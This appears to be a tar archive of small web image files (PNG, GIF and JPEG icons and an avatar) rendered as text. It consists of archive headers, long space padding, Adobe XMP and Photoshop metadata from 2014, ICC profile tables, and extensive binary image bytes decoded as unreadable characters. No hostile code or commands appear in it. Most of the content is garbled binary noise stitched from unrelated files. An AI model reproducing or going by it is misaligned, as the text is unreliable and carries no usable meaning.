                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                            
<?xpacket end="w"?>,C� cHRMz%������u0�`:�o�_�F3IDATx��Zё�0�2i�[-8%@	l	l	�(��@J%������9wZ�l�$w�h���cd��z~r�Zx�S��6>)��(���V�ie�=���'���<������N��y�}�%�@9+`���B�g?�w�y���9@����<�G�SG��7�/�@��g<��f���A�٩=�p)�\�0��I��ޫ����l���}|�X���}jK;c���I�2��C�3߭S�1Oف�s�5iב��l�&)�FCaÖ1~� 摉-���ƊŲ��m�̸����{n��r횴��+;�F k�y��'|)��-�ӦLj�G��T�b(���=���g�����P,��u�3G:��̉�o�F���+k��Z��t�&�G}킌��ӞL�}2A,K2�ƢB�*�V�� �Jp��$��'�CY�2;�gJ�%u�!~
���]�&7����������&1�`ĵ}�`@9(�O�IJ��X��1#l���&��[WU�c�n����P9���Cˢ+�^�Hk-�����g��X��z/�+*YA�d�A��Yt�;q�{ش[c&+���M�Ͱ�9�=�R�����iv��=Dn�����v�{r����d0���ŧ���I��E�١Ί�D^�ȦP ��됿t��ڭ�M�<�P�?�oIyD�d.o��}��X�50tߠ��$�>y���n)�����D2�!�X�k�g|!�C��&@6����i�y��c��f�G���c5��Dii����~绊�]��9x����@>�M��
���IEND�B`�images/table.gif000060400000000213150710775200007563 0ustar00GIF89a���������JM����!�,PH��0�I��L�ͻ�� �$�=a���#p,�m#���_o�.^�$̨��Et`�ʙ���
�To�)k0�z�n_;images/green.png000060400000002644150710775200007625 0ustar00�PNG


IHDR�`��kIDATx^��ohVe�q;әՌ�>KJ�Ԭ���!*#�U��O��7�PH��M��B�$Q�N�5uj�!�E��S�Y�Ŧ�"��O�K��q�ι�s��#t��������ћ�����ffan��t`�����
J���g\���F	
�Y��;�#��C��w��SQ�Q)�Ȩц�؈��j̳�۵��*�P�"���3h�vr��L����/���eb�Y`o]����D��F�m��e�"�Y,�}1����:��޺�<(���3/]���n��9/ԘMb�s^2�1$�.˫. X���%��l�=Ф�
P��L�u���.ϴAW���5��I�[�;:ɮ�s�њ�{5�u�cL7�c0>�n�Rx�J�����$ݕ*�%�b�Q$庖�˦�J��%ь�X$�u-�˦��.oau�E�2��T���n���Xf�(C5��!M�V�v�\�V��L0�X�z�!+m��Jg����.KL�A�|�z,��2?�1"0w�7�D�h�ӸܩS�R�G_�\��ݳ:s�����oC%��#�@
Cn �G��>���A|b[��B|�_qN��CMwo䒉�|�Zn�<���g�1<��n�g�������#��e��k�jF��Z��=[��]��P�;�=�n�t�u�ٌc�e�#e�M�7ه'[���B\�i���E?��%�����oZ�/��LǮ�}����7u�cw쌌�_�
3��S`����mE-6�`��q��,�;��C7̡��M�Ǔ�*j���my�w�*6�-om��Ƽ���<h[��5��ڱ��v�s��^t���}������!��2�Wza*i�ף�ay�C�;�c��u��
�&+0߱���>ױgO;vw��K3\�Ҝ[P���3��.�4�~���+�L�u�@�<�����͢�R��c��tGb⦿�j�r놨�b�G��
��܎x�.o��30�.��uh3_rl�#��n�iW+����AOL�Y���2P�h���k:����+|���ؽ_�u�+x�qy���l�+A3���J���F�i����!�4ݾ��	ȠP2�6�aD�+It�ٰ�l6�b,|�hb�}��=���1�p��NW�a)�6_WK�,U�I�{�1_����V
�]�W] �2x�J���۔d�xv��R�jR����ntwcgZ�[��
Z�����ۨ��.o	u	�&�p2.�3��BhR�^�v��\\Tgju�U�]��v�	��J��%��%��f�6�����du�gjxﲼ�km�pL��V�!��6]g��L�ݣX�:}>�P��Z��M���k���m/�B�E�{��U�Y���I�␤�u�=u��V$0Z���w�_H.����{IEND�B`�images/red@2x.png000060400000006314150710775200007647 0ustar00�PNG


IHDR`,[�b��IDATx^�{pTWƛ�!)�C�B�b Dl!��L@,���w�>J[@(`gZ���bG0JiDy4��hD��I�B�4�>xn�lX���Ggg�so�ٽg�~3��ٽ{�on6g��M;q��;�$<BƂ~|LeZAx��h2���ryټ���)�uk<s�N �I��T&��"h$a���I_x���-(�`rAw���)P�7�m�8<�v�߄����o�#d�.hAp4�s���ߗ�t�i��`0Й,�Of���9P%p6�w(�zi��w�Bp'L�E	@q�W	����\��	z��{�l�A�@ U}�����)蝮�n0��A��T�"f9�@�,��>+��~�	�����E6�e�p�3�`��������e�4y|���#H%�n�!��c�9MO�v	��f�/ޣ�:[�+�� �y�.��;|3Ѳt�`��<3@#X2��r̙�T�-�@��e�(��M�E	w[���(3B���_���.�<Qf�.�L�ś{���?�\�P�Y�}�\�����:f�����L�E	?,'R`
�Z~K���/�"��&K��I�(ဃ_�]`>Н�ܗ|	�������⾺����t.�{-�`F���� �k�t*0�W<����N\�}m��Y��kqf:$��C�O�$_΄�r�O���4�|���+`(I�[	�-��S�W�-�}NI2_�_�݌�0з��}��k�L���y�+� �w�`(������q߳�0\NK�/�+�p���a��<V�������$_̂E�x5}#���o}m������M�
��F�*��m�;���(_�¥��:�EV	�Ap�-��i>���^w0��n�/J������Ɉ0�7�þ}mx^��ݜma �mn[�?E�~����R�$�=���(�v=��+(N_��1�/�ǁ(e`hqy)�\�3p~D'�ٯ���x���.=��@�������
�G$K��
|߈�/f�=�v�`��k�\�v�.�8MiX֙�9���e�,P����-�s�����9�����������8���/a�\���.�-���<?;�����Ɋ2����\�E&
|Mb
u�B�ݢ5V:��[�Yp���˷4Q��D��_��A�w�:�v�"���W�V�w�{N�F:E|3�bp��4���]!�ͳ�͕8/� )�3����s5��h.� ��@߃���X�S,���
��ːp�f���Q���;V���r�r-z������ڸT��(�|TT��c��ž��	0�L��Ǟ�Q�2����(��s��_��r���e�#\GU�Y���\�f����vB|��)�?�}�����:$���B��#8͵�I�r�gy_q�3��N���(3_�/F�UN���r���)�c3<)�+vO6�=�}�B�Q2�p��n}S��/��ٜd�6��+E|ds��ۢ�|�g<�R/rS�;�f�B�,��'@O�cg)�-�)t�J�gc�~��4M`(g$�w���%=��՗OEn
}���W�o���&Е�L��}�l���Mɘ}��sd�Â��F>w�/_)N�� D�
κj,_yځ}�V%`�d�o������嗯��P�/�6�AʷE��/�En
}���W��&�炾t��)�`iD�*����p8�|���uL	Ȏ2��
��Z�u��Ste��ͅ�0��B�.|[������
}�l�\��T)��(?��!��|?���1_�񉜡�X��OY����N
�֗b���	6/J���1n��X�t��>P��q�\R��@����`l9_$k���Q��7`������c֟���K�x���>�8�S��]��q��z
hS�{Q�S@P�4��0ľ���X%��r�;"�aw�k�dN!��r�0h�˷��
�;����]���,jP�3���9��F���� �|�~n#��?�gE��4-�p�X9��7���}��H3���*}-��
vG.��嫌�`���^ZʗԀ&��*.��JǴ
����e�d�">�o�M��AP��+A���
��`#XI6�j_�B�@W����o��r�o���T�Kn���.i�>��1ceK�ӕr֔{֗n���$n4S�з�cچN&��r��+`�mP2���c�O��5��(�;B��:��q�����rx�cن.�ȷ�%�Vi��(ZK�K�y����'q&�ᗯ���*_���(KA��r�ax���NQ����|�d���y�c���t���]�
 �;t2��ߠ]��&)��w2�'����������{��.<B��
?��(SA���#,n[/s?:�0I�{H��|����i�v����z��Z�"�dl�T������
��M���=:|E���ux���S����J���k��X9��/]d���y�`	����A�d�	<^�|�L�Ac|1���M����F
�1��o����T�b�b[NTd#�a	W�k��i_Ϊ���mQu�w�I�(ߘ�xx26n��6zط�D_������1޷���,�Y�l��+h^��1�<���|���+ f�j��
�ڙ��RG�r����ٯ��!�~��2�e�̳�pk�y��5Y:�2�oh�
�	��uKq�����*@m���v�v�|Q�R���f�/��:٭�yΗNvi���,]L�E�6�(��`����_���听�a�T�̕�cVraS|Q�{A���W�u �YOA��}
�x���.f�ʳ
}uz�c�slA�޷��Q��(k9f�I�(^ǾV�@�A)8��oY��EtO$��@X��j�\I��.F��M]
��K`V�f�g`��D�����e8��\����c�4ɗ��)�F�JP���i���v�]�}p�\�}�s�\ſ_aMY\�>����&��x髌&�䁱��W�
��U>V�m��5�9� )��jP�O.'�'�3&��ܦ��k����c�Vb@��
�c�%(�x~��Q�>�oh"�o����s�����I���H������+1>>>>~�j��%y�IEND�B`�images/sort_desc.png000060400000036152150710775200010513 0ustar00�PNG


IHDRrP6�	pHYs��;IiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmpMM:OriginalDocumentID>xmp.did:0180117407206811B382F6C5FEF0E2C4</xmpMM:OriginalDocumentID>
         <xmpMM:DocumentID>xmp.did:82ADC61A22C111E1A1F1ADAD5B2A538C</xmpMM:DocumentID>
         <xmpMM:InstanceID>xmp.iid:b1e2b85a-df72-0c4f-8330-bc32c87fc204</xmpMM:InstanceID>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:0280117407206811B382F6C5FEF0E2C4</stRef:instanceID>
            <stRef:documentID>xmp.did:0180117407206811B382F6C5FEF0E2C4</stRef:documentID>
         </xmpMM:DerivedFrom>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:5ee61b65-f65d-ed41-9629-0c331598c946</stEvt:instanceID>
                  <stEvt:when>2014-01-24T03:13:16-08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:b1e2b85a-df72-0c4f-8330-bc32c87fc204</stEvt:instanceID>
                  <stEvt:when>2014-01-24T03:13:48-08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <xmp:CreatorTool>Adobe Photoshop CC (Windows)</xmp:CreatorTool>
         <xmp:CreateDate>2014-01-24T03:10:13-08:00</xmp:CreateDate>
         <xmp:ModifyDate>2014-01-24T03:13:48-08:00</xmp:ModifyDate>
         <xmp:MetadataDate>2014-01-24T03:13:48-08:00</xmp:MetadataDate>
         <dc:format>image/png</dc:format>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:XResolution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>19</exif:PixelXDimension>
         <exif:PixelYDimension>19</exif:PixelYDimension>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                            
<?xpacket end="w"?>C@�� cHRMz%������u0�`:�o�_�F�IDATx���!
a�o��E<���-����*�`2�Do��
�I��`�߲iYYwYİ&�cx̛�T��
Q��b�kf��n��%^�ŷ���C+�b���|`�{��a����,F���2LqN�+�	_*�&x&§�i�0G����o��{� Ӎ��IEND�B`�images/sort_asc_disabled.png000060400000035255150710775200012175 0ustar00�PNG


IHDRrP6�	pHYs��9�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmp:CreatorTool>Adobe Photoshop CC (Windows)</xmp:CreatorTool>
         <xmp:CreateDate>2014-01-24T03:10:13-08:00</xmp:CreateDate>
         <xmp:ModifyDate>2014-01-24T03:13:58-08:00</xmp:ModifyDate>
         <xmp:MetadataDate>2014-01-24T03:13:58-08:00</xmp:MetadataDate>
         <xmpMM:InstanceID>xmp.iid:51466cec-c338-094f-8a58-c3c0c995132b</xmpMM:InstanceID>
         <xmpMM:DocumentID>xmp.did:82ADC61222C111E1A1F1ADAD5B2A538C</xmpMM:DocumentID>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:43FCEFFE22C111E1A1F1ADAD5B2A538C</stRef:instanceID>
            <stRef:documentID>xmp.did:82ADC61022C111E1A1F1ADAD5B2A538C</stRef:documentID>
         </xmpMM:DerivedFrom>
         <xmpMM:OriginalDocumentID>xmp.did:82ADC61222C111E1A1F1ADAD5B2A538C</xmpMM:OriginalDocumentID>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:51466cec-c338-094f-8a58-c3c0c995132b</stEvt:instanceID>
                  <stEvt:when>2014-01-24T03:13:58-08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <dc:format>image/png</dc:format>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:XResolution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>19</exif:PixelXDimension>
         <exif:PixelYDimension>19</exif:PixelYDimension>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                            
<?xpacket end="w"?>Ѧ�� cHRMz%������u0�`:�o�_�F�IDATx��ҡ
Q��oE�ݦ�j0X�7P|�EA��V�n�}IJ�+�ܲ�"�8a&��9�$�2e��D�c�p4{�-�q��ޮ�BͶ�`�������t��pR6��#[a��F�N$?���
b���>m�`��=�-WIEND�B`�images/sep.gif000060400000000075150710775200007271 0ustar00GIF89a����HJS"$*���!�,8�;images/avatar3.jpg000060400000033522150710775200010061 0ustar00���ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:29 05:26:09��@�@&(.�HH���Adobe_CM��Adobed����			



��@@"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?Ƴ�
��n�e8d<١����uo��<�F{�FN?K�}{L"��r���bZ�6FM��c�����W+��}���Wc��{�c`7��퇿�>+6ߩ=5���g;t��ԟF@���r�Y}3uM��s�r|l�d	a��<J��ޟMF��D̮?����<����l����m	hF��0E���遰��8Ug�PifKZ�;hp4�UX�<���*���Z�����ɡ�i�����]����Q;[���~;٩��C����`i>��ON�j��B�lD��Wa�x�i�{��s��FߋkC�{KOG�n��W"��ƽ�y�ao�#�.�~W��150hRY�wz�K�k�w��G��u�*��H-��B�~��j���&K��O�}5���r/����ۛm{\�n�;~���>�S(�q�]>�/$�8�p�#����)��gN���4$�u3�����|�r�"XD@���Բ�ʹӳk��f���	�A;��)�0�c��jȦ�-�XI�.��	�0�s�c��'��P��K�6�:��}�]��B3p��1�ϭ�;��ZD�:�SÍچ��ߏ6�w�lQ�4m�u?�Y�-��d�' e�U�֋=�������4mV�a��{����!��4�/�k`ɪf�<ϊa�sLF֨�ϴ�@�V뭢'M){�i)Wyq3��BA- dt�ҹ[���� ��
}�8�k�K.���C�h5n�${�UpvZ藝��+w�g[��-�W;k�"�rt�C��~��yx�^�'�VOY�����6���N��#��K{w9��xf�V�S��ʫm�a��w0nQ�'PWwT��������{��K[�C�0!��|��vx���Lx���^7Jvy;��vzN���SxL�Э��^�oJ�4������F���S�G1��?���~򵼴��q�!MxBR�/����Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI@@
Untitled-1@@nullboundsObjcRct1Top longLeftlongBtomlong@Rghtlong@slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong@Rghtlong@urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM�@@�0����Adobe_CM��Adobed����			



��@@"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?Ƴ�
��n�e8d<١����uo��<�F{�FN?K�}{L"��r���bZ�6FM��c�����W+��}���Wc��{�c`7��퇿�>+6ߩ=5���g;t��ԟF@���r�Y}3uM��s�r|l�d	a��<J��ޟMF��D̮?����<����l����m	hF��0E���遰��8Ug�PifKZ�;hp4�UX�<���*���Z�����ɡ�i�����]����Q;[���~;٩��C����`i>��ON�j��B�lD��Wa�x�i�{��s��FߋkC�{KOG�n��W"��ƽ�y�ao�#�.�~W��150hRY�wz�K�k�w��G��u�*��H-��B�~��j���&K��O�}5���r/����ۛm{\�n�;~���>�S(�q�]>�/$�8�p�#����)��gN���4$�u3�����|�r�"XD@���Բ�ʹӳk��f���	�A;��)�0�c��jȦ�-�XI�.��	�0�s�c��'��P��K�6�:��}�]��B3p��1�ϭ�;��ZD�:�SÍچ��ߏ6�w�lQ�4m�u?�Y�-��d�' e�U�֋=�������4mV�a��{����!��4�/�k`ɪf�<ϊa�sLF֨�ϴ�@�V뭢'M){�i)Wyq3��BA- dt�ҹ[���� ��
}�8�k�K.���C�h5n�${�UpvZ藝��+w�g[��-�W;k�"�rt�C��~��yx�^�'�VOY�����6���N��#��K{w9��xf�V�S��ʫm�a��w0nQ�'PWwT��������{��K[�C�0!��|��vx���Lx���^7Jvy;��vzN���SxL�Э��^�oJ�4������F���S�G1��?���~򵼴��q�!MxBR�/��8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-29T05:26:09-08:00" xmp:MetadataDate="2014-01-29T05:26:09-08:00" xmp:ModifyDate="2014-01-29T05:26:09-08:00" xmpMM:InstanceID="xmp.iid:4ed35069-acc7-a047-8b39-0442e49d5570" xmpMM:DocumentID="xmp.did:dddbe165-8959-8047-be0f-ed11a862dbd0" xmpMM:OriginalDocumentID="xmp.did:dddbe165-8959-8047-be0f-ed11a862dbd0" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:dddbe165-8959-8047-be0f-ed11a862dbd0" stEvt:when="2014-01-29T05:26:09-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:4ed35069-acc7-a047-8b39-0442e49d5570" stEvt:when="2014-01-29T05:26:09-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
